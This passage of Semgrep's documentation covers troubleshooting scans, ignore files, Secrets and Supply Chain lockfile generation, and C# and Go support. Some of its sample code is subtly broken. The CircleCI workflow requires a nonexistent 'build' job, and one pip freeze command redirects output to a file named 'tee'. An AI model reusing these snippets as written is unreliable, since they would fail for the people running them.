Memory usage is a common issue with scans, especially in memory-constrained environments such as continuous integration (CI) providers. Semgrep may exit with code -11 (or -9), which are the POSIX signals raised to cause the crash.
* Try increasing the memory available if you are working in a container or managed instance where you can manage the amount of memory.
* Use the `--max-memory LIMIT` option for your Semgrep run. This option stops a rule/file scan if it reaches the set limit, and moves to the next rule / file.
* If you are running an interfile scan, this option also falls back to the OSS engine if the interfile pre-processing stage requires more than this amount of memory.
* Run Semgrep in single-threaded mode with `--jobs 1`. This reduces the amount of memory used compared to running multiple jobs.
* Try increasing your stack limit, if a limit is set for the context where you invoke Semgrep (`ulimit -s [limit]`).
## Slow scans
The first step to improving Semgrep's speed is limiting its run to only the files you care about. Most commonly, it's limited using a `.semgrepignore` file. See [Ignoring files, folders, or parts of code](/ignoring-files-folders-code).
After addressing files to ignore:
* If you suspect the presence of a large file slowing Semgrep's analysis, decrease the maximum size of files scanned with `--max-target-bytes BYTES`.
* Run `semgrep scan --time` locally. This outputs a list of the rules and files that took the longest.
* Identify the slowest files from the list. You may find that you can add some of those files to your ignore list as well.
* Identify the slowest rules from the list. You may find that some of them don't apply to your codebase and can be skipped.
### Adjusting timeouts
Semgrep has several timeout settings that affect scan duration and can be adjusted to optimize scan behavior:
* `--timeout`: Similar to `--max-memory`, `--timeout` affects the behavior of the scan when running a single rule on a single file. It defaults to 5 seconds. Typical values range from 3 seconds (favors faster scans, but more timeouts) to 30 seconds (slower scans, fewer timeouts).
* `--timeout-threshold`: The number of attempts made to run a single rule on a single file, if it times out due to the `--timeout` limit. It defaults to 3. Decreasing the value may speed up scans but cause more timeouts.
* `--interfile-timeout`: If you are running an interfile scan, this is the maximum amount of time in seconds to spend on interfile analysis before falling back to the OSS Engine. Defaults to 3 hours (10800 seconds) for scans using `semgrep ci`. Otherwise, the default is no maximum time (continue with cross-file analysis until the scan completes).
## 401 error when scanning with Semgrep Registry rules
If you receive a 401 when scanning using registry rules (for example, with `--config auto`), try the following:
Run `semgrep logout`.
Attempt the scan again.
If this is successful, your stored local token was invalid. Use `semgrep login` to log in again and receive a fresh token.
## Scan failures with analysis errors
Analysis or parsing errors usually only affect a particular rule, file, or language. If your scan encounters an analysis issue, using verbose logging can provide you with helpful error details, such as:
```
metavariable-pattern failed because we lack range info for $X, please file a bug report
```
If the error you receive is not that specific, try one of these options:
1. Use `--exclude-rule` to exclude a rule from the scan. This allows isolating the problem to the particular rule.
* If you are running Semgrep in CI with Semgrep AppSec Platform, and don't need to run the rule, you can also [disable the rule](/semgrep-code/policies/#disable-rules).
2. Use `--exclude` to exclude a file or files from the scan. You can use wildcards in file exclusions to exclude files matching particular patterns.
3. Use `--include` with a pattern specifying a path or an extension for a particular language, to limit the scan to that path, or to files in that language.
## Reporting crashes or analysis errors
Once you have isolated the issue:
Identify the rule, file, and lines (if available) where Semgrep encountered the error.
Determine whether you can share a minimal example of the code or rule that is causing the issue.
* If the issue occurs with cross-file analysis, or the code is internal or sensitive and cannot be sufficiently redacted, [reach out for help](/support), and include what you've determined so far.
* Otherwise, share the issue details and related code with Semgrep via [https://github.com/semgrep/semgrep/issues](https://github.com/semgrep/semgrep/issues).
If you are encountering memory usage issues, please include in your report:
* The total size of the files
* The number of files being scanned
* The maximum memory used by Semgrep (an estimate from `top` is fine)
* The system specifications
# Why am I getting findings in files that should be ignored?
Source: https://docs.semgrep.dev/kb/semgrep-code/semgrepignore-ignored
If you don't have a `.semgrepignore` file, see our [guide on how to exclude files from Semgrep scans](/ignoring-files-folders-code).
If you have a `.semgrepignore` file and **aren't** seeing the results you expect, you may be seeing the effect of changes in Semgrep 1.117.0 and later. Starting with Semgrep 1.117.0, the Semgrepignore specification has changed to better align with Git and Gitignore and to offer more flexibility. The new specification is referred to as [Semgrepignore v2](/semgrepignore-v2-reference).
## Requirements for Semgrepignore v2
### If you're using Git
Place the `.semgrepignore` file in root of the Git project (preferred) or in any folder in the project where you want to consistently ignore some files. `.semgrepignore` files follow the same specification as `.gitignore` files, which they extend.
### If you're not using Git
Place the `.semgrepignore` file in the folder passed on the `semgrep scan` command line. For example, if the command is `semgrep scan foo/`, and the `.semgrepignore` file is in the current directory, move the `.semgrepignore` file from the current directory to `foo/.semgrepignore`.
## Best practices
* When scanning a whole project, run `semgrep` from the project root.
* Place a `.semgrepignore` file at the project root.
* Optionally, place `.semgrepignore` files in subfolders so as to keep the
exclusion patterns simple and to allow moving these subfolders
around without having to edit the file exclusion patterns.
* Refer to the [Gitignore
specification](https://git-scm.com/gitignore)
for the precise syntax and usage of `.semgrepignore` files.
# Support for all versions of a programming language
Source: https://docs.semgrep.dev/kb/semgrep-code/support-for-language-versions
Semgrep language support has several levels of maturity. The **Generally available (GA)** maturity level means that Semgrep broadly supports all versions of that programming language.
When the Semgrep team adds support for a new language, the team creates a parser intended for the most recent or one of the most recent versions of that language. More recent versions of a programming language tend to be supersets of previous versions; they are typically backward compatible. Therefore, a parser of a more recent version generally supports previous versions as well.
If a change occurs in a language's syntax or semantics, the Semgrep team makes the requisite changes to any affected [Pro rules](/semgrep-code/pro-rules) to ensure that Semgrep maintains its level of support and coverage for that language. Updates to rules are made weekly.
See [How to add support for a new language](/contributing/adding-a-language) for more information on the process of adding a language to Semgrep.
**INFO**
* Semgrep Pro rules are actively maintained by the Security Research team and are kept up-to-date.
* Community rules are maintained by the community and have varying levels of support.
# Why are there more Semgrep findings when the code hasn't changed?
Source: https://docs.semgrep.dev/kb/semgrep-code/unexpected-new-findings
If the rules you're using in Semgrep have changed since you last performed a full scan of your project, you may see more findings for the project even if your code has not changed.
For rulesets in the Semgrep Registry, if you add a ruleset to one of your policies, the policy receives updates and additions to the ruleset on an ongoing basis. When a rule is added to a ruleset, or when changes make a rule more comprehensive or more precise, your policy automatically picks up those changes. As a result, the next full scan of the project may surface new findings from the new or updated rules.
For Semgrep-curated rulesets, you can view each rule's history to see recent changes:
Open the rule in the Editor.
Click the GitHub icon shown next to the rule ID to access the commit history.
There are some Registry rulsets that have an alternative curator - these do not show "by Semgrep". For these rules:
Expand the rule within the registry by clicking on the rule card to view its details.
Click "Source for rule" under the example code to visit the rule source.
If you have questions or concerns about rule updates for Semgrep Registry rulesets, please feel free to [reach out](/support).
# Semgrep Multimodal
Source: https://docs.semgrep.dev/kb/semgrep-multimodal
Azure OpenAI: Error 429 - Max Tokens Exceeded
Missing PR or MR comments from Semgrep Multimodal.
# Azure OpenAI: Error 429 - Max Tokens Exceeded
Source: https://docs.semgrep.dev/kb/semgrep-multimodal/azure-openai-error-429
If you have chosen Azure OpenAI as your AI provider for Semgrep Multimodal, and you see **Error 429 - Max Tokens Exceeded**:
Go to **Azure OpenAI Studio > Deployments** and select your active deployment.
Under **Details**, click **Edit** and increase the **Tokens per Minute Rate Limit** to the maximum value.
If the error persists, contact Microsoft Azure support to request a quota upgrade.
If you can't save the endpoint and API key when configuring Semgrep, Semgrep cannot establish a connection with Azure OpenAI.
1. Ensure that the endpoint URL is correctly formatted. It should look something like `https://.openai.azure.com/openai/deployments/mymodel/chat/completions?api-version=2023-05-06-preview`.
2. Verify that your API key is correct.
# Missing PR or MR comments from Semgrep Multimodal.
Source: https://docs.semgrep.dev/kb/semgrep-multimodal/missing-pr-mr-comments
Semgrep Multimodal messages only appear in your PR comments for rules that are set to Comment or Block mode on the Rule Management page. Ensure that:
* You have set rules to Comment or Block mode.
* You have turned on the **Default developer triage permissions** toggle in Semgrep AppSec Platform by going to **Settings > General**.
# Semgrep Secrets
Source: https://docs.semgrep.dev/kb/semgrep-secrets
Semgrep Secrets attempts to reduce false positives by bypassing common example secret patterns.
Product-specific path ignores require a supported CLI version.
# Why didn't Semgrep Secrets find these example secrets?
Source: https://docs.semgrep.dev/kb/semgrep-secrets/no-example-secrets-found
One common pattern in code is to include a placeholder value or format indicator for a secret rather than a real secret value. Where possible, Semgrep Secrets rules are intentionally written to minimize matches with this type of placeholder to avoid false positives, since the primary concern is identifying real secrets accidentally committed, especially if they are still valid.
As a result, if you have a line such as:
```python theme={null}
AWS_SECRET_ACCESS_KEY = "AKIA000EXAMPLE83A0I4"
```
Semgrep does not flag this line, because the key contains the string `EXAMPLE` and that's recognized as being a placeholder rather than a valid AWS access key.
If you'd like to flag this type of usage, you can consider [writing a custom Secrets rule](/semgrep-secrets/rules), or [reach out to support](/support) to discuss your question further with the team.
# Why didn't Semgrep ignore the files and folders in the Secrets Path ignores for this project?
Source: https://docs.semgrep.dev/kb/semgrep-secrets/per-product-ignore-not-working
The Semgrep AppSec Platform allows you to [define ignore patterns](/ignoring-files-folders-code#define-ignored-files-and-folders-in-semgrep-appsec-platform) for different Semgrep products for each project. Product-specific ignores for Semgrep Secrets require Semgrep version `1.71.0` or later in your CLI or CI environment.
If you use an older version of Semgrep, the path ignores for Semgrep Secrets that are set in Semgrep AppSec Platform are not applied. Instead, the system applies the path ignores from SAST and SCA to your Secrets scan as well.
# Semgrep Supply Chain (SSC)
Source: https://docs.semgrep.dev/kb/semgrep-supply-chain
Exclude a Semgrep Supply Chain rule from a scan
Semgrep Supply Chain uses manifest files or lockfiles as part of its reachability analysis to determine the exact version of a dependency that a codebase is using. Semgrep parses manifest files or lockfiles, such as:
How to generate lockfiles for Semgrep Supply Chain in a Circle CI pipeline.
Generate Python lockfiles to run Semgrep Supply Chain scans successfully.
Troubleshoot why findings for Semgrep Supply Chain are not showing.
Learn how to connect a private registry to Semgrep.
Learn how to troubleshoot when Semgrep doesn't display Upgrade guidance or Autofix functionality.
Learn how to troubleshoot when no dependencies appear on the Dependencies page.
# Connect a private registry to Semgrep
Source: https://docs.semgrep.dev/kb/semgrep-supply-chain/connect-a-private-registry
If you're using a private registry, connect it to Semgrep to provide the context necessary to:
* [Open Autofix pull requests or merge requests](/semgrep-supply-chain/triage-and-fix/upgrade-guidance-and-autofix).
* [Generate Upgrade guidance for Supply Chain findings](/semgrep-supply-chain/triage-and-fix/upgrade-guidance-and-autofix).
* [Run a Managed Scan](/deployment/managed-scanning/overview) for a project using Maven registries.
To connect a private registry to Semgrep:
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
Navigate to **Settings > Integrations**.
Click **Add**, then select **Registry**.
In the dialog that appears, provide the following information:
1. The **Name** of your registry.
2. The **Package manager**.
3. The **Authentication method**. If none is required, select **None (public registry)**.
* **Username and password**: provide the required **Username** and **Password**.
* **API token**: provide the required token value.
Optional: if your registry is only accessible from your private network, select **Use network broker for registry access**. This option requires a [Semgrep Network Broker](/semgrep-ci/network-broker) deployed within your network.
When enabled, Semgrep routes registry traffic through the broker, allowing Semgrep to access registries that are not publicly accessible on the internet.
For the broker to reach your registry, its allowlist must include the registry URL. See [Use Semgrep Network Broker for private registry access](/semgrep-ci/network-broker#use-semgrep-network-broker-for-private-registry-access).
Click **Connect** to save your changes and proceed.
# How to exclude a Semgrep Supply Chain rule from a scan
Source: https://docs.semgrep.dev/kb/semgrep-supply-chain/exclude-rule
To troubleshoot a problematic rule or to remove a rule that's too noisy, you can exclude a specific rule from being run during a Semgrep Supply Chain scan using the `--exclude-rule` flag:
```bash theme={null}
semgrep ci --exclude-rule
```
The `--exclude-rule` flag requires the rule ID as a parameter. To retrieve this value:
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login), and go to **Supply Chain**.
Select the finding whose details you want to view:
* If the default **Group by Rule** is enabled, click the **Details** icon on the card of the finding.
* If the **No grouping** view is enabled, click the **header hyperlink** on the card of the finding.
Scroll to the **Pattern** panel, and click **Rule** to change the view. The rule `id` is listed in row 1 and begins with the `ssc` prefix.
# No dependencies appear on the Dependencies page
Source: https://docs.semgrep.dev/kb/semgrep-supply-chain/no-dependency-results
If you do not see any results on the Dependencies page, ensure that:
* Semgrep Supply Chain supports your manifest file or lockfile. Refer to [Supported languages](/supported-languages) for a list of supported languages, manifest files, and lockfiles.
* Your [dependency search](/semgrep-supply-chain/dependency-search) filters and search syntax are correct.
* You've performed a full scan of the repository at least once since enabling dependency search. Only dependencies detected during full scans are shown on the **Dependencies** page.
See [Why aren't Supply Chain findings showing?](/kb/semgrep-supply-chain/why-no-findings) for additional troubleshooting tips.
# Semgrep is not displaying Upgrade guidance or Autofix functionality
Source: https://docs.semgrep.dev/kb/semgrep-supply-chain/no-upgrade-guidance-or-autofix
If you cannot see any **Breaking changes** or **Safe to upgrade** badges or findings, this may be due to the following reasons:
* [Your language or package ecosystem is not supported](/semgrep-supply-chain/triage-and-fix/upgrade-guidance-and-autofix#prerequisites).
* [Your source code manager is not supported](/semgrep-supply-chain/triage-and-fix/upgrade-guidance-and-autofix#prerequisites).
* You have not granted Semgrep **Read and write** access to your repository. See [Grant read and write access](/semgrep-appsec-platform/scm-code-access).
* Your findings do not have safe versions to upgrade to yet.
* You have no findings within the supported scope of this feature.
# How to scan multiple or nested manifest files or lockfiles
Source: https://docs.semgrep.dev/kb/semgrep-supply-chain/scanning_multiple_lockfiles
Semgrep Supply Chain uses manifest files or lockfiles as part of its reachability analysis to determine the exact version of a dependency that a codebase is using. Semgrep parses manifest files or lockfiles, such as:
* `go.mod`
* `gemfile.lock`
* `package-lock.json`
* `requirements.txt`
By default, Semgrep parses manifest files or lockfiles in any directory or subdirectory. Some package managers, such as `npm` or `yarn`, have support for [Workspaces](https://yarnpkg.com/features/workspaces), which can affect Semgrep's parsing behavior. If you use workspaces, reach out to [Support](/support) for assistance in setting up Semgrep Supply Chain.
See [Supported languages > Semgrep Supply Chain](/supported-languages/#semgrep-supply-chain) for more information.
# Generate manifest files or lockfiles for Semgrep Supply Chain in a Circle CI pipeline
Source: https://docs.semgrep.dev/kb/semgrep-supply-chain/ssc-lockfiles-circleci
In CircleCI, you can generate a manifest file or lockfile for your project as part of your pipeline job. This step happens during the first job, then the manifest file or lockfile is passed to the Semgrep scan using a [workspace](https://circleci.com/workspaces/) to share files between jobs.
The following `config.yml` file demonstrates how you can generate a manifest file or lockfile and pass it to subsequent jobs using CircleCI workspaces. This example, which is most relevant to users scanning a Scala or Bazel project, uses a `maven_dep_tree.txt` file, which [typically needs to be generated](/semgrep-supply-chain/setup-maven) from a `pom.xml` for Maven dependency tracking.
```yaml expandable theme={null}
version: 2.1
jobs:
lock_file_generation:
docker:
- image: cimg/openjdk:17.0
steps:
- checkout
- run:
name: lock file generation
command: |
mkdir -p workspace
mvn dependency:tree -DoutputFile=workspace/maven_dep_tree.txt
cat workspace/maven_dep_tree.txt
- persist_to_workspace:
root: workspace
paths:
- maven_dep_tree.txt
scan:
docker:
- image: semgrep/semgrep
steps:
- checkout
- attach_workspace: # This step attaches the workspace from the previous job
at: /tmp/workspace
- run:
name: semgrep scan
command: |
cp /tmp/workspace/maven_dep_tree.txt .
semgrep ci
workflows:
version: 2
build_and_scan:
jobs:
- lock_file_generation
- scan:
context:
- semgrep
requires:
- build
```
The `semgrep` [context](https://circleci.com/contexts/) is used here as the name for the context where you define the environment variables Semgrep needs, such as the `SEMGREP_APP_TOKEN`. This is similar to the [sample configuration for CircleCI](/semgrep-ci/sample-ci-configs/#sample-circleci-configuration-snippet). You can choose to give the context a different name if you prefer.
# Generating Python lockfiles for Semgrep Supply Chain scans
Source: https://docs.semgrep.dev/kb/semgrep-supply-chain/ssc-python-lockfiles
To correctly scan all dependencies in a project, Semgrep Supply Chain requires a Python lockfile: a file with specific versions of all dependencies. This article describes methods to generate the following supported Python lockfiles:
* `requirements.txt`
* `Pipfile.lock`
* `Poetry.lock`
You can use any of these files to get a successful Semgrep Supply Chain scan. Since Semgrep 1.93.0, a `requirements.txt` file can be placed in a `**/requirements/` folder, or can have any name that matches `*requirement*.txt` or `*requirement*.pip`.
## Generating `requirements.txt`
### Using `requirements.in`
**PREREQUISITES**
* A `requirements.in` file with direct Python packages. Do not include transitive packages in `requirements.in`.
* `pip-tools` must be installed on your machine. See the [pip-tools GitHub repository](https://github.com/jazzband/pip-tools) for installation instructions.
To generate a `requirements.txt` file from `requirements.in`, enter the following command in the root of your project directory:
```bash theme={null}
pip-compile -o requirements.txt
```
Now, you have successfully generated a `requirements.txt` file with direct and transitive dependencies that Semgrep Supply Chain can scan.
#### Example of `requirements.txt` generated from `requirements.in`
Given the following example project [Binder examples](https://github.com/sebastianrevuelta/binder-examples/), the `requirements.in` file contains the following direct dependencies:
```text theme={null}
numpy
matplotlib==3.*
seaborn==0.10.1
pandas
```
Executing the command `pip-compile -o requirements.txt`, generates the following `requirements.txt`:
```text expandable theme={null}
#
# This file is autogenerated by pip-compile with Python 3.10
# by the following command:
#
# pip-compile --output-file=requirements.txt
#
contourpy==1.0.7
# via matplotlib
cycler==0.11.0
# via matplotlib
fonttools==4.39.4
# via matplotlib
kiwisolver==1.4.4
# via matplotlib
matplotlib==3.7.1
# via
# -r requirements.in
# seaborn
numpy==1.24.3
# via
# -r requirements.in
# contourpy
# matplotlib
# pandas
# scipy
# seaborn
packaging==23.1
# via matplotlib
pandas==2.0.2
# via
# -r requirements.in
# seaborn
pillow==9.5.0
# via matplotlib
pyparsing==3.0.9
# via matplotlib
python-dateutil==2.8.2
# via
# matplotlib
# pandas
pytz==2023.3
# via pandas
scipy==1.10.1
# via seaborn
seaborn==0.10.1
# via -r requirements.in
six==1.16.0
# via python-dateutil
tzdata==2023.3
# via pandas
```
This file has all direct and transitive dependencies of the example project and can be used by Semgrep as an entry point for the Supply Chain scan.
### Using `pip freeze`
**PREREQUISITES**
* The `pip freeze` utility uses dependencies from packages already installed in your current environment to generate `requirements.txt`. You must be in an isolated or [virtual environment](https://docs.python.org/3/library/venv.html).
* An existing `setup.py` file.
To generate `requirements.txt` through `pip freeze`, enter the following commands:
```bash theme={null}
pip3 install .
pip freeze --all > tee requirements.txt
```
### Example CI configuration
The following GitHub Actions workflow provides an example on how to generate `requirements.txt` in a CI environment based on the preceding methods.
In the following example there are two jobs:
* `my_first_job`: Generating `requirements.txt` and uploading it as an artifact
* `my_second_job`: Downloading the artifact and scanning it with Semgrep
```yaml expandable theme={null}
on:
pull_request: {}
workflow_dispatch: {}
push:
branches:
- master
paths:
- .github/workflows/semgrep.yml
schedule:
- cron: '0 1 * * 0'
name: Semgrep
jobs:
my_first_job:
name: requirementsGeneration
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v6
- name: Generate requirements txt
run: |
pip3 install pip-tools
pip-compile -o requirements.txt
- name: Upload Requirements File as Artifact
uses: actions/upload-artifact@v4
with:
name: requirementstxt
path: requirements.txt
my_second_job:
needs: my_first_job
name: Scan
runs-on: ubuntu-latest
env:
SEMGREP_APP_TOKEN: ${{ secrets.SEMGREP_APP_TOKEN }}
container:
image: semgrep/semgrep
steps:
- uses: actions/checkout@v6
- name: Download artifact from previous job
uses: actions/download-artifact@v4
with:
name: requirementstxt
- run: semgrep ci --supply-chain
```
## Generating `Pipfile.lock`
**PREREQUISITE**
An existing `Pipfile`. Depending on your development environment, a Pipfile may already be automatically generated for you.
### Example of `Pipfile`
```text expandable theme={null}
[[source]]
url = "https://pypi.org/simple"
verify_ssl = true
name = "pypi"
[packages]
flasgger = "==0.9.5"
flask = "==2.2.2"
flask-cors = "==3.0.10"
marshmallow = "==3.18.0"
requests = "==2.25.1"
sqlalchemy = "==1.4.41"
waitress = "==2.1.2"
psycopg2 = "==2.9.5"
defusedxml = "==0.7.1"
[dev-packages]
[requires]
python_version = "3.9"
```
### Generating a `Pipfile.lock`
Generate a `Pipfile.lock` with the following commands:
```bash theme={null}
pip install pipenv --user
pipenv lock
```
The newly generated `Pipfile.lock` is a JSON file with all Python dependencies (direct and transitive) and their sha256 code.
The beginning of the file may look something like this:
```json expandable theme={null}
{
"_meta": {
"hash": {
"sha256": "af0d5c3f87bd23f340a214b12ad766ca83aead0c462aa08dbc4f012ac2796708"
},
"pipfile-spec": 6,
"requires": {
"python_version": "3.9"
},
"sources": [
{
"name": "pypi",
"url": "https://pypi.org/simple",
"verify_ssl": true
}
]
},
"default": {
"attrs": {
"hashes": [
"sha256:1f28b4522cdc2fb4256ac1a020c78acf9cba2c6b461ccd2c126f3aa8e8335d04",
"sha256:6279836d581513a26f1bf235f9acd333bc9115683f14f7e8fae46c98fc50e015"
],
"markers": "python_version >= '3.7'",
"version": "==23.1.0"
},
```
## Generating `Poetry.lock`
[Poetry](https://python-poetry.org/) is a tool for dependency management and packaging in Python.
**PREREQUISITE**
A `pyproject.toml` file.
### Example `pyproject.toml`
```toml expandable theme={null}
[build-system]
requires = ["poetry-core>=1.1.0"]
build-backend = "poetry.core.masonry.api"
[tool.poetry]
name = "example-project"
version = "1.0.0"
description = "An example project"
authors = ["Your Name "]
[tool.poetry.dependencies]
python = "^3.9"
requests = "^2.25.1"
numpy = "^1.21.0"
[tool.poetry.dev-dependencies]
pytest = "^6.2.4"
flake8 = "^3.9.2"
[build-system]
requires = ["poetry-core>=1.0.0"]
build-backend = "poetry.core.masonry.api"
```
### Generating a `Poetry.lock`
Generate a `Poetry.lock` file with the following command:
```bash theme={null}
poetry lock
```
The generated `Poetry.lock` file contains all transitive and direct dependencies that the project uses.
## Selecting a single file among many
While there may already be a lockfile in the repository, such as a `Pipfile.lock`, you may want to generate a new one, for example a `requirements.txt`, to be sure it has the latest dependencies.
When scanning with Semgrep Supply Chain, you can use the flag `--include` to specify that only a single lockfile should be scanned. The manifest file must still have one of the supported names.
```bash theme={null}
semgrep ci --supply-chain --include=requirements.txt
```
However, if you have multiple `requirements.txt` files that are in supported locations, you do not need to generate a new unified lockfile. Semgrep will scan files from all supported locations.
## Conclusions
There are several ways to generate lockfiles for Python dependencies. Depending on your preferences, you can select one or another. Keep in mind that the file should be generated before the Semgrep scan and within the proper environment. This ensures that you are scanning only the dependencies of your project and not all the Python dependencies of your system.
# Why aren't Supply Chain findings showing?
Source: https://docs.semgrep.dev/kb/semgrep-supply-chain/why-no-findings
## Ensure compatibility
First, verify that your repository meets the basic requirements for Semgrep Supply Chain:
Check the [Supported Languages table](/supported-languages#semgrep-supply-chain) to verify support for the project's language and ecosystem, as well as any ecosystem-specific requirements.
Semgrep Supply Chain searches the parent directories of any code files for the nearest relevant manifest file or lockfile. Monolithic repositories (monorepos) have their findings grouped based on the manifest files or lockfiles present in subdirectories.
Semgrep Supply Chain only recognizes the manifest file or lockfile names indicated in the [Supported Languages table](/supported-languages#semgrep-supply-chain).
If you do not use the standard manifest file or lockfile name for your ecosystem, renaming it to the standard name before scanning with Semgrep in CI is recommended.
[Reach out for help](#if-youre-still-having-trouble) if you run into trouble with the file location or naming.
If your dependency file is a manifest file and does not specify exact (pinned) versions for all dependencies, Semgrep Supply Chain does not report vulnerabilities for the dependencies that are not pinned. This is because an unpinned dependency may already be installed at a safe version for a particular Advisory, and not require upgrade.
Pinned dependencies can be analyzed even if the file contains other unpinned dependencies. Manifest files or lockfiles can also be helpful to determine whether a dependency is transitive.
## Check scan status and result location
Next, ensure that the scan was successful and sent results to the expected location.
If the scan did not complete, or failed when trying to send results, the dependency information will not be available.
Review the logs from the scan and determine whether it was successful, or ran into an issue.
#### Manifest file or lockfile parsing failure
The manifest file or lockfile may not have been parsed successfully. The CI output should point to the line where the error occurred. Here is an example from a failed attempt to parse a `Pipfile.lock` (Python):
```
Error Returned: Failed to parse app/Pipfile** at 40:1 - expected one of ['([^\\s=]+)\\s*=\\s*', 'EOF', '\\n+'] 40 | [requires]
```
If the manifest file or lockfile contains any special or additional details, such as environmental markers, variables, or hashes specific to your organization, those may affect parse results. [Reach out for help](#if-youre-still-having-trouble) if you run into this!
#### Data sent to a different organization
If the scan did run successfully, the scan data may have been sent to a different Semgrep organization than expected.
* Check other organizations you belong to in Semgrep AppSec Platform to see if the results appear there.
* If you are running `semgrep ci` locally, use `semgrep logout` and `semgrep login`, and ensure you log in to the desired Semgrep AppSec Platform organization.
Semgrep Supply Chain only runs in [diff-aware scans](/deployment/customize-ci-jobs#set-up-diff-aware-scans) if the manifest file or lockfile was modified in the PR/MR.
If code is modified, but the manifest file or lockfile is not, Supply Chain does not analyze the changes. Any code changes that might impact reachability will be identified on the next full scan.
If the Semgrep Supply Chain scan ran on a branch other than the default, or a default branch with a less common name, make sure to select the desired branch on the Vulnerabilities page to see findings.
Using the example in the screenshot, to see vulnerabilities from `new-vuln-branch`, select it from the list.
By default, the Vulnerabilities page displays vulnerabilities from:
* The repository's default branch, if that information is available. This information is typically available for CI scans performed through GitHub Actions.
* One of a set of standard default branch names, such as:
* `develop` (or `development`)
* `main`
* `master`
* `trunk`
By default, Semgrep AppSec Platform shows only reachable
To see all vulnerabilities, select all boxes under the "Exposure" filter.
## Additional references
If the project uses Java and Apache Maven with `pom.xml`, see [Setting up SSC scans for specific project management tools: Apache Maven (Java)](/semgrep-supply-chain/setup-maven).
## If you're still having trouble
If you've addressed these issues but are still not seeing vulnerability findings, or if you need assistance setting up Semgrep Supply Chain for your projects, such as handling manifest file or lockfile naming or addressing parsing issues, [reach out for help](/support).
# C# support
Source: https://docs.semgrep.dev/languages/csharp
**TIP**
Semgrep's C# coverage leverages framework-specific analysis capabilities that are not present in Semgrep Community Edition (CE). As a result, many framework specific Pro rules will **fail** to return findings if run on Semgrep CE. To ensure full security coverage, run: `semgrep login && semgrep ci`.
## Semgrep Code analyses
* Interfile analysis (cross-file)
* Interprocedural analysis (cross-function)
* All analyses performed by [Semgrep Community Edition (CE)](#c-support-in-semgrep-ce)
## Coverage
Semgrep aims to provide comprehensive and accurate detection of common OWASP Top 10 issues in source code. Semgrep uses **rules**, which are instructions based on which it detects patterns in code. These rules are usually organized in rulesets.
By default, Semgrep Code provides you with the [ `p/comment`](https://semgrep.dev/p/comment) and [ `p/default`](https://semgrep.dev/p/default) rulesets. These rulesets provide the most accurate and comprehensive coverage across Semgrep's supported languages.
Some examples of rules include:
* [CWE-89: SQL injection. Don't use formatted strings in SQL statements; prefer prepared statements](https://semgrep.dev/playground/r/csharp.lang.security.sqli.csharp-sqli.csharp-sqli?editorMode=advanced)
* [CWE-90: LDAP injection. Avoid LDAP queries constructed dynamically on user-controlled input](https://semgrep.dev/playground/r/csharp.dotnet.security.audit.ldap-injection.ldap-injection?editorMode=advanced)
* [CWE-347: Improper verification of cryptographic signature. Use signed security tokens](https://semgrep.dev/playground/r/csharp.lang.security.cryptography.unsigned-security-token.unsigned-security-token?editorMode=advanced)
## C# support in Semgrep Supply Chain
Semgrep Supply Chain is a software composition analysis (SCA) tool that detects security vulnerabilities in your codebase introduced by open source dependencies.
### Supported package managers
Semgrep supports the following C# package manager:
* NuGet
### Analyses and features
The following analyses and features are available for C#:
**Reachability analysis**
Reachability refers to whether or not a vulnerable code pattern from a dependency is used in the codebase that imports it. In Semgrep Supply Chain, both a dependency's vulnerable version and code pattern must match for a vulnerability to be considered reachable.
**License detection**
Semgrep Supply Chain's **license compliance** feature enables you to explicitly allow or disallow (block) a package's use in your repository based on its license. For example, your company policy may disallow the use of packages with the Creative Commons Attribution-NonCommercial (CC-BY-NC) license. Semgrep can help enforce this restriction.
**Malicious dependency detection**
Semgrep is able to detect malicious dependencies in your projects and in pull requests (PRs) or merge requests (MRs).
**SBOM generation**
Semgrep enables you to generate a software bill of materials (SBOM) to assess your third-party dependencies and comply with auditing procedures. Semgrep Supply Chain (SSC) can generate an SBOM for each repository you have added to Semgrep AppSec Platform.
**NO NEED FOR LOCKFILES**
C# projects can be scanned **without** the need for lockfiles. See [Dynamic Dependency Resolution (beta)](/semgrep-supply-chain/set-up-and-configure#dynamic-dependency-resolution-beta).
## C# support in Semgrep CE
Semgrep CE is a fast, lightweight program analysis tool that can help you detect bugs in your code. It makes use of Semgrep's LGPL 2.1 open source engine.
### Analyses
* Single-file, cross-function constant propagation
* Single-function taint analysis
* Semantic analysis
### Coverage
**TIP**
* Check the `license` of a rule to ensure it meets your licensing requirements. See [Licensing](/licensing) for more details.
The Semgrep Registry provides the following C# rule sets:
* [`p/default`](https://semgrep.dev/p/default)
* [`p/csharp`](https://semgrep.dev/p/csharp)
* [`p/gitlab`](https://semgrep.dev/p/gitlab)
Sample usage:
```bash theme={null}
semgrep scan --config p/csharp
```
# Go support
Source: https://docs.semgrep.dev/languages/go
**TIP**
Semgrep's Go coverage leverages framework-specific analysis capabilities that are not present in Semgrep Community Edition (CE). As a result, many framework specific Pro rules will **fail** to return findings if run on Semgrep CE. To ensure full security coverage, run: `semgrep login && semgrep ci`.
## Semgrep Code analyses
* Interfile analysis (cross-file)
* Interprocedural analysis (cross-function)
* All analyses performed by [Semgrep Community Edition (CE)](#go-support-in-semgrep-ce)
## Coverage
Semgrep aims to provide comprehensive and accurate detection of common OWASP Top 10 issues in source code. Semgrep uses **rules**, which are instructions based on which it detects patterns in code. These rules are usually organized in rulesets.
By default, Semgrep Code provides you with the [ `p/comment`](https://semgrep.dev/p/comment) and [ `p/default`](https://semgrep.dev/p/default) rulesets. These rulesets provide the most accurate and comprehensive coverage across Semgrep's supported languages.
Some examples of rules include:
* [CWE-89: SQL injection. Don't use user input to manually construct an SQL string](https://semgrep.dev/playground/r/go.aws-lambda.security.tainted-sql-string.tainted-sql-string?editorMode=advanced)
* [CWE-943: Improper neutralization of special elements in data query. Avoid NoSQL Injection in Mongo with Gin](https://semgrep.dev/playground/r/go.gin.nosql.gin-mongo-nosql-taint.gin-mongo-nosqli-taint?editorMode=advanced)
## Go support in Semgrep Supply Chain
Semgrep Supply Chain is a software composition analysis (SCA) tool that detects security vulnerabilities in your codebase introduced by open source dependencies.
### Supported package managers
Semgrep supports the following Go package manager:
* Go modules (`go.mod`)
### Analyses and features
The following analyses and features are available for Go:
**Reachability analysis**
Reachability refers to whether or not a vulnerable code pattern from a dependency is used in the codebase that imports it. In Semgrep Supply Chain, both a dependency's vulnerable version and code pattern must match for a vulnerability to be considered reachable.
**License detection**
